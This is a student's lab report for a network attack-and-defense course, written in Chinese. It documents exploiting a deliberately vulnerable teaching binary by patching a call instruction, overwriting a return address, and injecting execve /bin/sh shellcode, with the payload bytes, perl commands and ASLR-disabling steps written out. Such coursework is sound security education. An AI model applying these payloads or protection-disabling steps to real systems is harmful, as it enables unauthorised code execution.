20222302 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

北河三1發表於2024-10-11

1.實驗內容

本週學習內容

  • 1.熟練掌握了棧和堆的概念。
  • 2.掌握了Linux的基本操作,如shell命令和編譯器gcc、偵錯程式gdb的使用。
  • 3.掌握了緩衝區溢位的原理。

實驗任務

本次實驗的物件是一個名為pwn1的linux可執行檔案。該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們本次實驗將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellc。本次實驗內容分為以下3個:

  • 1.手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
  • 2.利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
  • 3.注入一個自己製作的shellcode並執行這段shellcode。

2.實驗過程

任務一 直接修改程式機器指令,改變程式執行流程

首先修改終端名,在這裡我修改為自己名字的拼音簡稱,開啟新終端後顯示修改成功。

反彙編檔案objdump -d pwn1| more,找到main、getshell和foo。

第一列為記憶體地址,第二列為機器指令、第三列為機器指令對應的組合語言。
觀察main函式發現,call 跳轉到了foo函式,而根據對pwn20222302檔案的執行測試發現,它只會簡單回顯任何使用者輸入的字串。根據實驗要求,我們需要修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。這裡就需要修改主函式,想辦法將call foo改為call getShell。因此,需要將call 8048491中的地址8048491修改為getShell的地址804847d。偏移量=8048491-80484ba=-41。補碼錶示為0xffffffd7,與第二列機器指令中的0xd7ffffff相吻合。由此可知,要想呼叫getShell,偏移量為0804847d(getShell函式的首地址)-80484ba=-61=0xffffff3c顛倒為計算機儲存內容,為0xc3ffffff,即需要將0xd7ffffff修改為0xc3ffffff。
下面是修改過程:
vi pwn20222302 開啟檔案後為亂碼

按esc鍵,輸入:%!xxd進入十六進位制編輯模式,使用/e8 d7快速找到需要修改的地址。

修改地址,將d7改成c3,然後使用:%!xxd -r轉回原來亂碼格式,並使用:wq命令儲存退出。
反彙編objdump -d pwn20222302 | more檢視機器指令。

可以看到修改成功。
./pwn20222302執行結果。

成功獲取shell,即成功呼叫了getShell函式。

任務二 透過構造輸入引數,造成BOF攻擊,改變程式執行流

gdb pwn20222302除錯程式,確認輸入字串哪幾個字元會覆蓋到返回地址,過程中發現未安裝gdb。
使用sudo apt updatesudo apt install gdb命令安裝gdb。

安裝完成後輸入gdb,檢查gdb是否安裝成功。

確認輸入字串哪幾個字元會覆蓋到返回地址。
輸入字串1111111122222222333333334444444412345678,輸入命令 info r檢視暫存器eip的值,發現輸入的1234為被覆蓋到堆疊上的返回地址。
那隻要把這四個字元替換為 getShell 的記憶體地址,輸給pwn20222302,pwn20222302就會執行getShell。
getShell的記憶體地址,透過反彙編時可以看到,即0804847d。
接下來要確認下位元組序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08。
透過確認需要構造字串11111111222222223333333344444444\x7d\x84\x04\x08。
由為無法透過鍵盤輸入\x7d\x84\x04\x08這樣的16進位制值,所以先生成包括這樣字串的一個檔案(\x0a表示回車),即輸入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16進位制檢視指令xxd檢視input檔案的內容是否如預期,然後使用(cat input;cat) | ./pwn20222302將input中的字串作為可執行檔案的輸入。

結果發現成功獲取shell,即成功呼叫了getShell函式。

任務三 注入Shellcode並執行

  • 1.準備工作
    安裝execstack,使用命令 sudo apt-get install execstack安裝。

    提示execstack已是最新版本。
    透過以下命令修改設定:
    execstack -s pwn20222211-3 //設定堆疊可執行
    execstack -q pwn20222211-3 //查詢檔案的堆疊是否可執行
    more /proc/sys/kernel/randomize_va_space //檢視地址隨機化的狀態
    echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
    more /proc/sys/kernel/randomize_va_space

2.構造要注入的payload。

Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令進行構造shellcode的輸入(x1x2x3x4是用來佔位的,後續將替換為注入shellcode的地址,也就是foo函式中return address的位置,這個地址需要我們接下來去gdb分析尋找),並將其放入名為input_shellcode的檔案中:

Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

輸入以下命令將input_shellcode的輸入內容作為pwn20222302的輸入:

(cat input_shellcode; cat) | ./pwn20222302


開啟一個終端注入這段攻擊buf:

(cat input_shellcode;cat) | ./pwn20222302

開啟一個新的終端,找到pwn的程序號,並且用gdb除錯程序。
輸入ps -ef | grep pwn20222302,檢視pwn20222302檔案的程序以及程序號

可以看到,程序號分別為50738和50667,但是50738才是pwn檔案的程序號
然後啟動gdb除錯這個程序,輸入gdb,輸入命令attach 50738,輸入命令disassemble foo,反編譯foo函式並進行分析

發現ret的地址為0x080484ae,因此,在這裡設定斷點,繼續分析。
輸入命令break *0x080484ae,在新終端輸入c,c表示continue繼續執行,繼續執行後,在老終端按一下enter鍵,否則新終端的continue將一直進行

輸入info r esp檢視棧頂指標所在位置,如下圖可知棧頂指標所在的位置為0xffffcffc

使用x/16x 0xffffcfdc命令檢視該地址處的存放內容,可以看到,此處出現了我們之前注入的輸入0x01020304,這說明找的就是這個地址。

因此,棧頂指標地址再加4位元組,就是shellcode應該處於的地址,即0xffffcffc+4=0xffffd000
現在可以進行shellcode的注入,最終獲取shell。將0x01020304換成上述我們計算出來的位置0xffffd000,且用機器儲存的方式,顛倒一下,重新進行輸入。在原終端中輸入

perl -e 'print "A" x 32;print "\x00\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

然後再輸入(cat input_shellcode; cat) | ./pwn20222302,將input_shellcode的輸入內容作為pwn20222302的輸入。

成功獲取shell,即成功呼叫了getShell函式。

3.問題及解決方案

  • 問題一:對gdb的分析原理沒有理解透徹,輸入c後後續進行出現問題。
    解決方案:在執行pwn的老終端中按下回車,繼續執行pwn,從而讓gdb往下分析,否則將一直卡住。
  • 問題二:在關閉地址隨機化時產生許可權錯誤的問題。
    解決方案:因為“sudo”命令不支援重定向,使用以下命令
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
  • 問題三:在輸入命令attach 50738後,提示 No such process。
    解決方案:因為沒有在終端注入攻擊buf,因此程序不存在。在新終端注入攻擊buf後程序存在。

4.學習感悟

透過本次實驗首先我學會了透過手工修改可執行檔案,改變程式執行流程,直接跳轉到 getShell 函式。其中包括對反彙編與十六進位制程式設計器的掌握,可以粗略讀懂組合語言,可以自己反編譯並修改可執行檔案。其次是對堆疊結構的掌握,理解了堆疊結構攻擊緩衝區的原理,掌握了返回地址的獲取。最後我透過注入Shellcode並執行的實驗學會了使用gdb正確構造payload進行bof攻擊。本次實驗作為本課程的第一次實驗,做起來肯定不會一帆風順。我在操作的過程中遇到了各種各樣的問題,但透過不斷地查閱資料和尋求同學幫助後得以解決。本次實驗的完成對我解決問題的能力有很大的提升。在做後面的實驗時肯定依舊會有各種問題,但透過本次實驗打下的基礎,我相信我可以一路披荊斬棘,完成任務。

參考資料

  • 《逆向及Bof基礎實踐說明》(https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向與Bof基礎.md)

相關文章